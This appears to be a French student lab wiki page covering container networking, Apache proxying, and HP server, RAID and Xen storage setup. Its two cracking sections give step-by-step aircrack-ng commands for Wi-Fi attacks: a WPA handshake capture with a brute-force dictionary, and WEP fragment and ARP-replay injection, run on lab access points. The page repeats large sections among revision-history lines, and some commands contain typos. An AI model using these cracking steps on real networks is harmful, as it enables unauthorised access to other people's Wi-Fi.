docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Handshake2.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

==Utilisation de partitions virtuelles==

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan :

lvcreate -L10G -n aphrodite-home virtual
lvcreate -L10G -n aphrodite-var virtual

lvcreate -L10G -n aphrodite-part1 virtual
lvcreate -L10G -n aphrodite-part2 virtual
lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg :

disk = [
'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
'phy:/dev/virtual/aphrodite-home,xvdb1,w',
'phy:/dev/virtual/aphrodite-var,xvdc1,w'
'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
'phy:/dev/virtual/aphrodite-part2,xvde1,w'
'phy:/dev/virtual/aphrodite-part3,xvdf1,w'
]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

Afin que les modifications soient effectives, on reboot la VM.

===Var et Home===

De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :

/dev/xvdb1 /home ext4 defaults 0 2

C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.

Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :

mkdir /mnt_var
mount /dev/xvdc1 /mnt_var

Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :

cd /var
cp -ax * /mnt_var

Nous faisons ensuite un backup de notre ancien dossier var :

mv /var /var.old

On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :

mkdir /var
umount /dev/xvdc1
mount /dev/xvdc1 /var

On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.

Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :

/dev/xvdc1 /var ext4 defaults 0 0

Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :

rm -r /mnt_var
rn -r /var.old

===RAID===
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.
Pour ce faire, nous utiliserons l'utilitaire mdadm.

Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.

Nous allons donc créer le raid5 sur /dev/md0

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1

On créé ensuite un filesystem dans la nouvelle partition raid :

mkfs -t ext4 /dev/md0

On créé un point de montage et on monte la partition :

mkdir /mnt_raid5
mount /dev/md0 /mnt_raid5

On automatise la création de la grappe :

mdadm --monitor --daemonise /dev/md0

Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :

/dev/md0 /mnt_raid5/ ext4 defaults 0 1

Le lancement de la commande suivante permet de confirmer que tout est ok :

mdadm --detail /dev/md0

[[fichier:Raid5.png|center]]

=Séance 6=
==Crack de réseau WEP==
Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :

1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.

2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.

J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone.
Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.

On liste les interfaces réseau :

airmon-ng

Mon interface s'appelle wlan0, je la passe en monitor mode :

airmon-ng start wlan0

Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP :

airodump-ng --encrypt wep wlan0mon

IMAGE_SCAN

La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap :

airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon

La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000.
Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP :

aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon

Afin de générer le paquet ARP, nous allons utiliser une attaque "fragment" :

aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon

Si l'attaque réussit, nous pouvons voir "GET A RELAYED PACKET". Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP :

packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp

On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'.
Notre paquet ARP est maintenant prêt, on lance l'injection :

aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon

Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.

Une fois le nombre de data suffisant, on lance le crack :

aircrack-ng wep-01.cap

Et KEY FOUND !

[[fichier:Screenshot from 2018-12-17 22-37-26.png|center|800px]]

Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.

Fichier:Screenshot from 2018-12-17 22-37-26.png

2018-12-17T22:28:51Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-17T21:42:00Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-15T18:58:27Z

Tcattela : /* RAID */

Fichier:Raid5.png

2018-12-15T18:57:21Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-15T18:44:57Z

Tcattela : /* Utilisation de partitions virtuelles */

TP sysres IMA5sc 2018/2019 G9

2018-12-15T18:29:03Z

Tcattela : /* Var et Home */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

